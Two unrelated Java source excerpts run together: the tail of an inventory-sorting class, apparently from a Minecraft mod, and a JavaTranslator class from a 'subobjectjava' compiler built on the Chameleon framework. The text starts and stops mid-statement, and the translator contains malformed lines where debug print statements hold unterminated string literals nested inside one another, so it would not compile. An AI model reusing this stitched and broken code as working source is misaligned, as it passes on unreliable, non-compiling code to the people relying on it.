(lockPriorities[i] <= priority) { if (i == j) { markAsMoved(i, priority); return j; } // Move to empty slot if (to == null && lockPriorities[j] <= priority && !frozenSlots[j]) { rulePriority[i] = -1; keywordOrder[i] = -1; rulePriority[j] = priority; keywordOrder[j] = getItemOrder(from); containerMgr.move(i, j); return j; } // Try to swap/merge else if (to != null) { if (canSwapSlots(i, j, priority) || canMergeStacks(from, to)) { keywordOrder[j] = keywordOrder[i]; rulePriority[j] = priority; rulePriority[i] = -1; containerMgr.move(i, j); ItemStack remains = containerMgr.getItemStack(i); if (remains != null) { int dropSlot = i; if (lockPriorities[j] > lockPriorities[i]) { for (int k = 0; k < size; k++) { if (containerMgr.getItemStack(k) == null && lockPriorities[k] == 0) { dropSlot = k; break; } } } if (dropSlot != i) { containerMgr.move(i, dropSlot); } rulePriority[dropSlot] = -1; keywordOrder[dropSlot] = getItemOrder(remains); return dropSlot; } else { return j; } } } } return -1; } private void markAsMoved(int i, int priority) { rulePriority[i] = priority; } private void markAsNotMoved(int i) { rulePriority[i] = -1; } private boolean hasToBeMoved(int slot) { return containerMgr.getItemStack(slot) != null && rulePriority[slot] == -1; } private boolean isOrderedBefore(int i, int j) { ItemStack iStack = containerMgr.getItemStack(i), jStack = containerMgr.getItemStack(j); if (jStack == null) { return true; } else if (iStack == null || keywordOrder[i] == -1) { return false; } else { if (keywordOrder[i] == keywordOrder[j]) { // Items of same keyword orders can have different IDs, // in the case of categories defined by a range of IDs if (getItemID(iStack) == getItemID(jStack)) { boolean iHasName = iStack.hasDisplayName(); boolean jHasName = jStack.hasDisplayName(); if (iHasName || jHasName) { if (!iHasName) { return false; } else if (!jHasName) { return true; } else { String iDisplayName = iStack.getDisplayName(); String jDisplayName = jStack.getDisplayName(); if (!iDisplayName.equals(jDisplayName)) { return iDisplayName.compareTo(jDisplayName) < 0; } } } @SuppressWarnings("unchecked") Map<Integer, Integer> iEnchs = EnchantmentHelper.getEnchantments(iStack); @SuppressWarnings("unchecked") Map<Integer, Integer> jEnchs = EnchantmentHelper.getEnchantments(jStack); if (iEnchs.size() == jEnchs.size()) { int iEnchMaxId = 0, iEnchMaxLvl = 0; int jEnchMaxId = 0, jEnchMaxLvl = 0; for (Map.Entry<Integer, Integer> ench : iEnchs.entrySet()) { if (ench.getValue() > iEnchMaxLvl) { iEnchMaxId = ench.getKey(); iEnchMaxLvl = ench.getValue(); } else if (ench.getValue() == iEnchMaxLvl && ench.getKey() > iEnchMaxId) { iEnchMaxId = ench.getKey(); iEnchMaxLvl = ench.getValue(); } } for (Map.Entry<Integer, Integer> ench : jEnchs.entrySet()) { if (ench.getValue() > jEnchMaxLvl) { jEnchMaxId = ench.getKey(); jEnchMaxLvl = ench.getValue(); } else if (ench.getValue() == jEnchMaxLvl && ench.getKey() > jEnchMaxId) { jEnchMaxId = ench.getKey(); jEnchMaxLvl = ench.getValue(); } } if (iEnchMaxId == jEnchMaxId) { if (iEnchMaxLvl == jEnchMaxLvl) { if (getItemDamage(iStack) != getItemDamage(jStack)) { if (isItemStackDamageable(iStack)) { return getItemDamage(iStack) > getItemDamage(jStack); } else { return getItemDamage(iStack) < getItemDamage(jStack); } } else { return getStackSize(iStack) > getStackSize(jStack); } } else { return iEnchMaxLvl > jEnchMaxLvl; } } else { return iEnchMaxId > jEnchMaxId; } } else { return iEnchs.size() > jEnchs.size(); } } else { return getItemID(iStack) > getItemID(jStack); } } else { return keywordOrder[i] < keywordOrder[j]; } } } private int getItemOrder(ItemStack itemStack) { List<InvTweaksItemTreeItem> items = tree.getItems( getItemID(itemStack), getItemDamage(itemStack)); return (items != null && items.size() > 0) ? items.get(0).getOrder() : Integer.MAX_VALUE; } private void computeLineSortingRules(int rowSize, boolean horizontal) { rules = new Vector<InvTweaksConfigSortingRule>(); Map<InvTweaksItemTreeItem, Integer> stats = computeContainerStats(); List<InvTweaksItemTreeItem> itemOrder = new ArrayList<InvTweaksItemTreeItem>(); int distinctItems = stats.size(); int columnSize = getContainerColumnSize(rowSize); int spaceWidth; int spaceHeight; int availableSlots = size; int remainingStacks = 0; for (Integer stacks : stats.values()) { remainingStacks += stacks; } // No need to compute rules for an empty chest if (distinctItems == 0) return; // (Partially) sort stats by decreasing item stack count List<InvTweaksItemTreeItem> unorderedItems = new ArrayList<InvTweaksItemTreeItem>(stats.keySet()); boolean hasStacksToOrderFirst = true; while (hasStacksToOrderFirst) { hasStacksToOrderFirst = false; for (InvTweaksItemTreeItem item : unorderedItems) { Integer value = stats.get(item); if (value > ((horizontal) ? rowSize : columnSize) && !itemOrder.contains(item)) { hasStacksToOrderFirst = true; itemOrder.add(item); unorderedItems.remove(item); break; } } } Collections.sort(unorderedItems, Collections.reverseOrder()); itemOrder.addAll(unorderedItems); // Define space size used for each item type. if (horizontal) { spaceHeight = 1; spaceWidth = rowSize / ((distinctItems + columnSize - 1) / columnSize); } else { spaceWidth = 1; spaceHeight = columnSize / ((distinctItems + rowSize - 1) / rowSize); } char row = 'a', maxRow = (char) (row - 1 + columnSize); char column = '1', maxColumn = (char) (column - 1 + rowSize); // Create rules for (InvTweaksItemTreeItem item : itemOrder) { // Adapt rule dimensions to fit the amount int thisSpaceWidth = spaceWidth, thisSpaceHeight = spaceHeight; while (stats.get(item) > thisSpaceHeight * thisSpaceWidth) { if (horizontal) { if (column + thisSpaceWidth < maxColumn) { thisSpaceWidth = maxColumn - column + 1; } else if (row + thisSpaceHeight < maxRow) { thisSpaceHeight++; } else { break; } } else { if (row + thisSpaceHeight < maxRow) { thisSpaceHeight = maxRow - row + 1; } else if (column + thisSpaceWidth < maxColumn) { thisSpaceWidth++; } else { break; } } } // Adjust line/column ends to fill empty space if (horizontal && (column + thisSpaceWidth == maxColumn)) { thisSpaceWidth++; } else if (!horizontal && row + thisSpaceHeight == maxRow) { thisSpaceHeight++; } // Create rule String constraint = row + "" + column + "-" + (char) (row - 1 + thisSpaceHeight) + (char) (column - 1 + thisSpaceWidth); if (!horizontal) { constraint += 'v'; } rules.add(new InvTweaksConfigSortingRule(tree, constraint, item.getName(), size, rowSize)); // Check if ther's still room for more rules availableSlots -= thisSpaceHeight * thisSpaceWidth; remainingStacks -= stats.get(item); if (availableSlots >= remainingStacks) { // Move origin for next rule if (horizontal) { if (column + thisSpaceWidth + spaceWidth <= maxColumn + 1) { column += thisSpaceWidth; } else { column = '1'; row += thisSpaceHeight; } } else { if (row + thisSpaceHeight + spaceHeight <= maxRow + 1) { row += thisSpaceHeight; } else { row = 'a'; column += thisSpaceWidth; } } if (row > maxRow || column > maxColumn) break; } else { break; } } String defaultRule; if (horizontal) { defaultRule = maxRow + "1-a" + maxColumn; } else { defaultRule = "a" + maxColumn + "-" + maxRow + "1v"; } rules.add(new InvTweaksConfigSortingRule(tree, defaultRule, tree.getRootCategory().getName(), size, rowSize)); } private Map<InvTweaksItemTreeItem, Integer> computeContainerStats() { Map<InvTweaksItemTreeItem, Integer> stats = new HashMap<InvTweaksItemTreeItem, Integer>(); Map<Integer, InvTweaksItemTreeItem> itemSearch = new HashMap<Integer, InvTweaksItemTreeItem>(); for (int i = 0; i < size; i++) { ItemStack stack = containerMgr.getItemStack(i); if (stack != null) { int itemSearchKey = getItemID(stack) * 100000 + ((getMaxStackSize(stack) != 1) ? getItemDamage(stack) : 0); InvTweaksItemTreeItem item = itemSearch.get(itemSearchKey); if (item == null) { item = tree.getItems(getItemID(stack), getItemDamage(stack)).get(0); itemSearch.put(itemSearchKey, item); stats.put(item, 1); } else { stats.put(item, stats.get(item) + 1); } } } return stats; } private int getContainerColumnSize(int rowSize) { return size / rowSize; } }
package subobjectjava.translate; import java.util.ArrayList; import java.util.Iterator; import java.util.List; import java.util.Set; import jnome.core.expression.invocation.ConstructorInvocation; import jnome.core.expression.invocation.JavaMethodInvocation; import jnome.core.expression.invocation.NonLocalJavaTypeReference; import jnome.core.expression.invocation.SuperConstructorDelegation; import jnome.core.language.Java; import jnome.core.modifier.Implements; import jnome.core.type.BasicJavaTypeReference; import jnome.core.type.JavaTypeReference; import org.rejuse.association.Association; import org.rejuse.association.SingleAssociation; import org.rejuse.java.collections.TypeFilter; import org.rejuse.logic.ternary.Ternary; import org.rejuse.predicate.SafePredicate; import org.rejuse.predicate.UnsafePredicate; import org.rejuse.property.Property; import subobjectjava.model.component.AbstractClause; import subobjectjava.model.component.ActualComponentArgument; import subobjectjava.model.component.ComponentNameActualArgument; import subobjectjava.model.component.ComponentParameter; import subobjectjava.model.component.ComponentParameterTypeReference; import subobjectjava.model.component.ComponentRelation; import subobjectjava.model.component.ComponentRelationSet; import subobjectjava.model.component.ComponentType; import subobjectjava.model.component.ConfigurationBlock; import subobjectjava.model.component.ConfigurationClause; import subobjectjava.model.component.FormalComponentParameter; import subobjectjava.model.component.InstantiatedComponentParameter; import subobjectjava.model.component.MultiActualComponentArgument; import subobjectjava.model.component.MultiFormalComponentParameter; import subobjectjava.model.component.ParameterReferenceActualArgument; import subobjectjava.model.component.RenamingClause; import subobjectjava.model.expression.AbstractTarget; import subobjectjava.model.expression.ComponentParameterCall; import subobjectjava.model.expression.OuterTarget; import subobjectjava.model.expression.SubobjectConstructorCall; import subobjectjava.model.language.JLo; import subobjectjava.model.type.RegularJLoType; import chameleon.core.compilationunit.CompilationUnit; import chameleon.core.declaration.CompositeQualifiedName; import chameleon.core.declaration.Declaration; import chameleon.core.declaration.QualifiedName; import chameleon.core.declaration.Signature; import chameleon.core.declaration.SimpleNameDeclarationWithParametersHeader; import chameleon.core.declaration.SimpleNameDeclarationWithParametersSignature; import chameleon.core.declaration.SimpleNameSignature; import chameleon.core.declaration.TargetDeclaration; import chameleon.core.element.Element; import chameleon.core.expression.Expression; import chameleon.core.expression.InvocationTarget; import chameleon.core.expression.MethodInvocation; import chameleon.core.expression.NamedTarget; import chameleon.core.expression.NamedTargetExpression; import chameleon.core.lookup.DeclarationSelector; import chameleon.core.lookup.LookupException; import chameleon.core.lookup.SelectorWithoutOrder; import chameleon.core.member.Member; import chameleon.core.method.Implementation; import chameleon.core.method.Method; import chameleon.core.method.RegularImplementation; import chameleon.core.method.RegularMethod; import chameleon.core.method.exception.ExceptionClause; import chameleon.core.modifier.ElementWithModifiers; import chameleon.core.modifier.Modifier; import chameleon.core.namespace.Namespace; import chameleon.core.namespace.NamespaceElement; import chameleon.core.namespacepart.Import; import chameleon.core.namespacepart.NamespacePart; import chameleon.core.namespacepart.TypeImport; import chameleon.core.reference.CrossReference; import chameleon.core.reference.CrossReferenceWithArguments; import chameleon.core.reference.CrossReferenceWithName; import chameleon.core.reference.CrossReferenceWithTarget; import chameleon.core.reference.SimpleReference; import chameleon.core.reference.SpecificReference; import chameleon.core.statement.Block; import chameleon.core.variable.FormalParameter; import chameleon.core.variable.VariableDeclaration; import chameleon.core.variable.VariableDeclarator; import chameleon.exception.ChameleonProgrammerException; import chameleon.exception.ModelException; import chameleon.oo.language.ObjectOrientedLanguage; import chameleon.oo.type.BasicTypeReference; import chameleon.oo.type.DeclarationWithType; import chameleon.oo.type.ParameterBlock; import chameleon.oo.type.RegularType; import chameleon.oo.type.Type; import chameleon.oo.type.TypeElement; import chameleon.oo.type.TypeReference; import chameleon.oo.type.TypeWithBody; import chameleon.oo.type.generics.ActualType; import chameleon.oo.type.generics.BasicTypeArgument; import chameleon.oo.type.generics.InstantiatedTypeParameter; import chameleon.oo.type.generics.TypeParameter; import chameleon.oo.type.generics.TypeParameterBlock; import chameleon.oo.type.inheritance.AbstractInheritanceRelation; import chameleon.oo.type.inheritance.SubtypeRelation; import chameleon.support.expression.AssignmentExpression; import chameleon.support.expression.SuperTarget; import chameleon.support.expression.ThisLiteral; import chameleon.support.member.simplename.SimpleNameMethodInvocation; import chameleon.support.member.simplename.method.NormalMethod; import chameleon.support.member.simplename.method.RegularMethodInvocation; import chameleon.support.member.simplename.variable.MemberVariableDeclarator; import chameleon.support.modifier.Final; import chameleon.support.modifier.Interface; import chameleon.support.modifier.Public; import chameleon.support.statement.ReturnStatement; import chameleon.support.statement.StatementExpression; import chameleon.support.statement.ThrowStatement; import chameleon.support.variable.LocalVariableDeclarator; import chameleon.util.Util; public class JavaTranslator { public List<CompilationUnit> translate(CompilationUnit source, CompilationUnit implementationCompilationUnit) throws LookupException, ModelException { List<CompilationUnit> result = new ArrayList<CompilationUnit>(); // Remove a possible old translation of the given compilation unit // from the target model. NamespacePart originalNamespacePart = source.namespaceParts().get(0); NamespacePart newNamespacePart = implementationCompilationUnit.namespaceParts().get(0); Iterator<Type> originalTypes = originalNamespacePart.children(Type.class).iterator(); Iterator<Type> newTypes = newNamespacePart.children(Type.class).iterator(); while(originalTypes.hasNext()) { SingleAssociation<Type, Element> newParentLink = newTypes.next().parentLink(); Type translated = translatedImplementation(originalTypes.next()); newParentLink.getOtherRelation().replace(newParentLink, translated.parentLink()); } newNamespacePart.clearImports(); for(Import imp: originalNamespacePart.imports()) { newNamespacePart.addImport(imp.clone()); } implementationCompilationUnit.flushCache(); result.add(implementationCompilationUnit); implementationCompilationUnit.namespacePart(1).getNamespaceLink().lock(); CompilationUnit interfaceCompilationUnit = interfaceCompilationUnit(source, implementationCompilationUnit); for(NamespacePart part: implementationCompilationUnit.descendants(NamespacePart.class)) { part.removeDuplicateImports(); } for(NamespacePart part: interfaceCompilationUnit.descendants(NamespacePart.class)) { part.removeDuplicateImports(); } result.add(interfaceCompilationUnit); return result; } private boolean isJLo(NamespaceElement element) { String fullyQualifiedName = element.getNamespace().getFullyQualifiedName(); return (! fullyQualifiedName.startsWith("java.")) && (! fullyQualifiedName.startsWith("javax.")) && (! fullyQualifiedName.equals("org.ietf.jgss")) && (! fullyQualifiedName.equals("org.omg.CORBA")) && (! fullyQualifiedName.equals("org.omg.CORBA_2_3")) && (! fullyQualifiedName.equals("org.omg.CORBA_2_3.portable")) && (! fullyQualifiedName.equals("org.omg.CORBA.DynAnyPackage")) && (! fullyQualifiedName.equals("org.omg.CORBA.ORBPackage")) && (! fullyQualifiedName.equals("org.omg.CORBA.Portable")) && (! fullyQualifiedName.equals("org.omg.CORBA.TypeCodePackage")) && (! fullyQualifiedName.equals("org.omg.CosNaming")) && (! fullyQualifiedName.equals("org.omg.CosNaming.NamingContextExtPackage")) && (! fullyQualifiedName.equals("org.omg.CosNaming.NamingContextPackage")) && (! fullyQualifiedName.equals("org.omg.Dynamic")) && (! fullyQualifiedName.equals("org.omg.DynamicAny")) && (! fullyQualifiedName.equals("org.omg.DynamicAny.DynAnyFactoryPackage")) && (! fullyQualifiedName.equals("org.omg.DynamicAny.DynAnyPackage")) && (! fullyQualifiedName.equals("org.omg.IOP")) && (! fullyQualifiedName.equals("org.omg.IOP.CodecFactoryPackage")) && (! fullyQualifiedName.equals("org.omg.IOP.CodecPackage")) && (! fullyQualifiedName.equals("org.omg.Messaging")) && (! fullyQualifiedName.equals("org.omg.PortableInterceptor")) && (! fullyQualifiedName.equals("org.omg.PortableInterceptor.ORBInitInfoPackage")) && (! fullyQualifiedName.equals("org.omg.PortableServer")) && (! fullyQualifiedName.equals("org.omg.PortableServer.CurrentPackage")) && (! fullyQualifiedName.equals("org.omg.PortableServer.PAOManagerPackage")) && (! fullyQualifiedName.equals("org.omg.PortableServer.PAOPackage")) && (! fullyQualifiedName.equals("org.omg.PortableServer.portable")) && (! fullyQualifiedName.equals("org.omg.PortableServer.ServantLocatorPackage")) && (! fullyQualifiedName.equals("org.omg.SendingContext")) && (! fullyQualifiedName.equals("org.omg.stub.java.rmi")) && (! fullyQualifiedName.equals("org.w3c.dom")) && (! fullyQualifiedName.equals("org.w3c.dom.bootstrap")) && (! fullyQualifiedName.equals("org.w3c.dom.events")) && (! fullyQualifiedName.equals("org.w3c.dom.ls")) && (! fullyQualifiedName.equals("org.xml.sax")) && (! fullyQualifiedName.equals("org.xml.sax.ext")) && (! fullyQualifiedName.equals("org.xml.sax.helpers")); } private CompilationUnit interfaceCompilationUnit(CompilationUnit original, CompilationUnit implementation) throws ModelException { original.flushCache(); implementation.flushCache(); CompilationUnit interfaceCompilationUnit = implementation.cloneTo(implementation.language()); NamespacePart interfaceNamespacePart = interfaceCompilationUnit.namespacePart(1); Type interfaceType = interfaceNamespacePart.declarations(Type.class).get(0); interfaceType.addModifier(new Interface()); transformToInterfaceDeep(interfaceType); for(BasicJavaTypeReference tref: interfaceType.descendants(BasicJavaTypeReference.class)) { String name = tref.signature().name(); if(name.endsWith(IMPL)) { tref.setSignature(new SimpleNameSignature(interfaceName(name))); } } interfaceCompilationUnit.flushCache(); return interfaceCompilationUnit; } private void rewriteConstructorCalls(Element<?> type) throws LookupException { Java language = type.language(Java.class); List<ConstructorInvocation> invocations = type.descendants(ConstructorInvocation.class); for(ConstructorInvocation invocation: invocations) { try { Type constructedType = invocation.getType(); if(isJLo(constructedType) && (! constructedType.isTrue(language.PRIVATE))) { transformToImplReference((CrossReferenceWithName) invocation.getTypeReference()); } } catch(LookupException exc) { transformToImplReference((CrossReferenceWithName) invocation.getTypeReference()); } } } private void rewriteThisLiterals(Element<?> type) throws LookupException { List<ThisLiteral> literals = type.descendants(ThisLiteral.class); for(ThisLiteral literal: literals) { TypeReference typeReference = literal.getTypeReference(); if(typeReference != null) { transformToImplReference((CrossReferenceWithName) typeReference); } } } private void rewriteComponentAccess(Element<?> type) throws LookupException { List<CrossReference> literals = type.descendants(CrossReference.class); for(CrossReference literal: literals) { if((literal instanceof CrossReferenceWithTarget)) { transformComponentAccessors((CrossReferenceWithTarget) literal); } } } private void transformComponentAccessors(CrossReferenceWithTarget cwt) { Element target = cwt.getTarget(); if(target instanceof CrossReferenceWithTarget) { transformComponentAccessors((CrossReferenceWithTarget) target); } boolean rewrite = false; String name = null; if((! (cwt instanceof MethodInvocation)) && (! (cwt instanceof TypeReference))) { name = ((CrossReferenceWithName)cwt).name(); try { Declaration decl = cwt.getElement(); if(decl instanceof ComponentRelation) { rewrite = true; } }catch(LookupException exc) { // rewrite = true; } } if(rewrite) { String getterName = getterName(name); MethodInvocation inv = new JavaMethodInvocation(getterName,(InvocationTarget) target); SingleAssociation parentLink = cwt.parentLink(); parentLink.getOtherRelation().replace(parentLink, inv.parentLink()); } } private void transformToInterfaceDeep(Type type) throws ModelException { List<Type> types = type.descendants(Type.class); types.add(type); for(Type t: types) { transformToInterface(t); } } private void transformToInterface(Type type) throws ModelException { String name = type.getName(); Java language = type.language(Java.class); if(name.endsWith(IMPL)) { copyTypeParametersIfNecessary(type); makePublic(type); List<SubtypeRelation> inheritanceRelations = type.nonMemberInheritanceRelations(SubtypeRelation.class); int last = inheritanceRelations.size() - 1; inheritanceRelations.get(last).disconnect(); for(TypeElement decl: type.directlyDeclaredElements()) { if(decl instanceof Method) { ((Method) decl).setImplementation(null); if(decl.is(language.CLASS) == Ternary.TRUE) { decl.disconnect(); } } if((decl.is(language.CONSTRUCTOR) == Ternary.TRUE) || (decl.is(language.PRIVATE) == Ternary.TRUE) || (decl instanceof VariableDeclarator && (! (decl.is(language.CLASS) == Ternary.TRUE)))) { decl.disconnect(); } // if(decl instanceof ElementWithModifiers) { makePublic(decl); removeFinal(decl); } type.signature().setName(interfaceName(name)); if(! (type.is(language.INTERFACE) == Ternary.TRUE)) { type.addModifier(new Interface()); } } } private void removeFinal(TypeElement<?> element) throws ModelException { Property property = element.language(ObjectOrientedLanguage.class).OVERRIDABLE.inverse(); for(Modifier modifier: element.modifiers(property)) { element.removeModifier(modifier); } } private void copyTypeParametersIfNecessary(Type type) { Type outmost = type.farthestAncestor(Type.class); if(outmost != null) { List<TypeParameter> typeParameters = outmost.parameters(TypeParameter.class); ParameterBlock tpars = type.parameterBlock(TypeParameter.class); if(tpars == null) { type.addParameterBlock(new TypeParameterBlock()); } for(TypeParameter<?> typeParameter:typeParameters) { type.addParameter(TypeParameter.class, typeParameter.clone()); } } } private void makePublic(ElementWithModifiers<?> element) throws ModelException { Java language = element.language(Java.class); Property access = element.property(language.SCOPE_MUTEX); if(access != language.PRIVATE) { for(Modifier mod: element.modifiers(language.SCOPE_MUTEX)) { mod.disconnect(); } element.addModifier(new Public()); } } private void transformToImplReference(CrossReferenceWithName ref) { if(ref instanceof CrossReferenceWithTarget) { CrossReferenceWithName target = (CrossReferenceWithName) ((CrossReferenceWithTarget)ref).getTarget(); if(target != null) { transformToImplReference(target); } } boolean change; try { Declaration referencedElement = ref.getElement(); if(referencedElement instanceof Type) { change = true; } else { change = false; } } catch(LookupException exc) { change = true; } if(change) { String name = ref.name(); if(! name.endsWith(IMPL)) { ref.setName(name+IMPL); } } } private void transformToInterfaceReference(SpecificReference ref) { SpecificReference target = (SpecificReference) ref.getTarget(); if(target != null) { transformToInterfaceReference(target); } String name = ref.signature().name(); if(name.endsWith(IMPL)) { ref.setSignature(new SimpleNameSignature(interfaceName(name))); } } private String interfaceName(String name) { if(! name.endsWith(IMPL)) { throw new IllegalArgumentException(); } return name.substring(0, name.length()-IMPL.length()); } /** * Return a type that represents the translation of the given JLow class to a Java class. * @throws ModelException */ private Type translatedImplementation(Type original) throws ChameleonProgrammerException, ModelException { Type result = original.clone(); result.setUniParent(original.parent()); List<ComponentRelation> relations = original.directlyDeclaredMembers(ComponentRelation.class); for(ComponentRelation relation : relations) { // Add a getter for subobject Method getterForComponent = getterForComponent(relation,result); if(getterForComponent != null) { result.add(getterForComponent); } // Add a setter for subobject Method setterForComponent = setterForComponent(relation,result); if(setterForComponent != null) { result.add(setterForComponent); } // Create the inner classes for the components inner(result, relation, result,original); result.flushCache(); addOutwardDelegations(relation, result); result.flushCache(); } replaceSuperCalls(result); for(ComponentRelation relation: result.directlyDeclaredMembers(ComponentRelation.class)) { replaceConstructorCalls(relation); MemberVariableDeclarator fieldForComponent = fieldForComponent(relation,result); if(fieldForComponent != null) { result.add(fieldForComponent); } relation.disconnect(); } List<Method> decls = selectorsFor(result); for(Method decl:decls) { result.add(decl); } List<ComponentParameterCall> calls = result.descendants(ComponentParameterCall.class); for(ComponentParameterCall call: calls) { FormalComponentParameter parameter = call.getElement(); MethodInvocation expr = new JavaMethodInvocation(selectorName(parameter),null); expr.addArgument((Expression) call.target()); SingleAssociation pl = call.parentLink(); pl.getOtherRelation().replace(pl, expr.parentLink()); } for(SubtypeRelation rel: result.nonMemberInheritanceRelations(SubtypeRelation.class)) { processSuperComponentParameters(rel); } if(result.getFullyQualifiedName().equals("example.meta.Klass")) { System.out.println("debug"); } rebindOverriddenMethods(result,original); addNonOverriddenStaticHooks(result,original); rewriteConstructorCalls(result); rewriteThisLiterals(result); rewriteComponentAccess(result); expandReferences(result); removeNonLocalReferences(result); // The result is still temporarily attached to the original model. transformToImplRecursive(result); result.setUniParent(null); return result; } private void addNonOverriddenStaticHooks(Type result,Type original) throws LookupException { for(ComponentRelation relation: original.descendants(ComponentRelation.class)) { addNonOverriddenStaticHooks(result,relation); } } private void addNonOverriddenStaticHooks(Type result,ComponentRelation relation) throws LookupException { Type root = containerOfDefinition(result, relation.farthestAncestor(Type.class), relation.componentType().signature()); // System.out.println("Root for "+relation.componentType().getFullyQualifiedName()+" is "+root.getFullyQualifiedName()); List<Member> membersOfRelation = relation.componentType().members(); Set<ComponentRelation> overriddenRelations = (Set<ComponentRelation>) relation.overriddenMembers(); } private void rebindOverriddenMethods(Type result, Type original) throws LookupException { for(final Method method: original.descendants(Method.class)) { rebindOverriddenMethodsOf(result, original, method); } } private void rebindOverriddenMethodsOf(Type result, Type original, Method method) throws LookupException, Error { Set<? extends Member> overridden = method.overriddenMembers(); if(! overridden.isEmpty()) { final Method tmp = method.clone(); // Type containerOfNewDefinition = createOrGetInnerTypeForMethod(result, original, method); Type containerOfNewDefinition = containerOfDefinition(result,original, method); if(containerOfNewDefinition != null) { tmp.setUniParent(containerOfNewDefinition); // substituteTypeParameters(method); DeclarationSelector<Method> selector = new SelectorWithoutOrder<Method>(Method.class) { @Override public Signature signature() { return tmp.signature(); } }; Method newDefinitionInResult = null; try { newDefinitionInResult = containerOfNewDefinition.members(selector).get(0); } catch (IndexOutOfBoundsException e) { containerOfNewDefinition = containerOfDefinition(result, original, method); newDefinitionInResult = containerOfNewDefinition.members(selector).get(0); } Method<?,?,?,?> stat = newDefinitionInResult.clone(); String name = staticMethodName(method, containerOfNewDefinition); // String name = staticMethodName(method); stat.setName(name); containerOfNewDefinition.add(stat); if(!stat.descendants(ComponentParameterCall.class).isEmpty()) { throw new Error(); } } } for(Member toBeRebound: overridden) { rebind(result, original, method, (Method) toBeRebound); } } private void rebind(Type container, Type original, Method<?,?,?,?> newDefinition, Method toBeRebound) throws LookupException { Type containerOfNewDefinition = containerOfDefinition(container,original, newDefinition); Type rootOfNewDefinitionInOriginal = levelOfDefinition(newDefinition); List<Element> trailOfRootInOriginal = filterAncestors(rootOfNewDefinitionInOriginal); trailOfRootInOriginal.add(0, rootOfNewDefinitionInOriginal); trailOfRootInOriginal.remove(trailOfRootInOriginal.size()-1); Type containerToAdd = createOrGetInnerTypeAux(container, original, trailOfRootInOriginal,1); List<Element> trailtoBeReboundInOriginal = filterAncestors(toBeRebound); Type rootOfToBeRebound = levelOfDefinition(toBeRebound); while(! (trailtoBeReboundInOriginal.get(trailtoBeReboundInOriginal.size()-1) == rootOfToBeRebound)) { trailtoBeReboundInOriginal.remove(trailtoBeReboundInOriginal.size()-1); } trailtoBeReboundInOriginal.remove(trailtoBeReboundInOriginal.size()-1); Type containerOfToBebound = containerToAdd; if(! trailtoBeReboundInOriginal.isEmpty()) { containerOfToBebound = createOrGetInnerTypeAux(containerToAdd, original, trailtoBeReboundInOriginal,1); } if((containerOfToBebound != null) && ! containerOfToBebound.sameAs(containerOfNewDefinition)) { System.out.println(" System.out.println("Source: "+containerOfNewDefinition.getFullyQualifiedName()+"."+newDefinition.name()); System.out.println("Target: "+containerOfToBebound.getFullyQualifiedName()+"."+toBeRebound.name()); System.out.println(" String thisName = containerOfNewDefinition.getFullyQualifiedName(); Method reboundMethod = createOutward(toBeRebound, newDefinition.name(),thisName); String newName = staticMethodName(reboundMethod,containerOfToBebound); //FIXME this is tricky. reboundMethod.setUniParent(toBeRebound); Implementation<Implementation> impl = reboundMethod.implementation(); reboundMethod.setImplementation(null); substituteTypeParameters(reboundMethod); reboundMethod.setImplementation(impl); reboundMethod.setUniParent(null); containerOfToBebound.add(reboundMethod); Method<?,?,?,?> staticReboundMethod = reboundMethod.clone(); staticReboundMethod.addModifier(new Final()); staticReboundMethod.setName(newName); String name = containerOfNewDefinition.getFullyQualifiedName().replace('.', '_'); for(SimpleNameMethodInvocation inv:staticReboundMethod.descendants(SimpleNameMethodInvocation.class)) { name = toImplName(name); inv.setName(staticMethodName(newDefinition, containerOfNewDefinition)); } containerOfToBebound.add(staticReboundMethod); containerOfToBebound.flushCache(); } } private String staticMethodName(String methodName,Type containerOfToBebound) { return stripImpl(containerOfToBebound.getFullyQualifiedName().replace('.', '_')+"_"+methodName); } private String staticMethodName(Method clone,Type containerOfToBebound) { return staticMethodName(clone.name(), containerOfToBebound); } private String stripImpl(String string) { return string.replaceAll(IMPL, ""); } // private String staticMethodNameInOriginal(Method method, Type containerOfNewDefinition) { // return containerOfNewDefinition.getFullyQualifiedName().replace('.', '_')+"_"+method.name(); private Type containerOfDefinition(Type container, Type original, Element newDefinition) throws LookupException { Type containerOfNewDefinition = container; Type rootOfNewDefinitionInOriginal = levelOfDefinition(newDefinition); List<Element> trailOfRootInOriginal = filterAncestors(rootOfNewDefinitionInOriginal); trailOfRootInOriginal.add(0, rootOfNewDefinitionInOriginal); trailOfRootInOriginal.remove(trailOfRootInOriginal.size()-1); containerOfNewDefinition = createOrGetInnerTypeAux(container, original, trailOfRootInOriginal,1); List<Element> trailNewDefinitionInOriginal = filterAncestors(newDefinition); // Remove everything up to the container. while(! (trailNewDefinitionInOriginal.get(trailNewDefinitionInOriginal.size()-1) == rootOfNewDefinitionInOriginal)) { trailNewDefinitionInOriginal.remove(trailNewDefinitionInOriginal.size()-1); } // Remove the container. trailNewDefinitionInOriginal.remove(trailNewDefinitionInOriginal.size()-1); if(! trailNewDefinitionInOriginal.isEmpty()) { // trailOfRootInOriginal.add(0, rootOfNewDefinitionInOriginal); containerOfNewDefinition = createOrGetInnerTypeAux(containerOfNewDefinition, original, trailNewDefinitionInOriginal,1); } return containerOfNewDefinition; } private Type levelOfDefinition(Element<?> element) { Type result = element.nearestAncestor(Type.class, new SafePredicate<Type>(){ @Override public boolean eval(Type object) { return ! (object instanceof ComponentType); }}); return result; } private String toImplName(String name) { if(! name.endsWith(IMPL)) { name = name + IMPL; } return name; } private Type createOrGetInnerTypeForType(Type container, Type original, Type current, List<Element> elements, int baseOneIndex) throws LookupException { // Signature innerName = (new SimpleNameSignature(innerClassName(relationBeingTranslated, original))); Signature innerName = current.signature().clone(); SimpleReference<Type> tref = new SimpleReference<Type>(innerName, Type.class); tref.setUniParent(container); Type result; try { result= tref.getElement(); } catch(LookupException exc) { // We add the imports to the original. They are copied later on to 'container'. ComponentRelation relation = ((ComponentType)current).nearestAncestor(ComponentRelation.class); result = emptyInnerClassFor(relation, container); NamespacePart namespacePart = container.farthestAncestor(NamespacePart.class); incorporateImports(relation, namespacePart); // Since we are adding inner classes that were not written in the current namespacepart, their type // may not have been imported yet. Therefore, we add an import of the referenced component type. namespacePart.addImport(new TypeImport(container.language(Java.class).createTypeReference(relation.referencedComponentType().getFullyQualifiedName()))); container.add(result); container.flushCache(); } return createOrGetInnerTypeAux(result, original, elements, baseOneIndex + 1); } private Type createOrGetInnerTypeForComponent(Type container, Type original, ComponentRelation relationBeingTranslated, List<Element> elements, int baseOneIndex) throws LookupException { Signature innerName = null; innerName = (new SimpleNameSignature(innerClassName(relationBeingTranslated, container))); SimpleReference<Type> tref = new 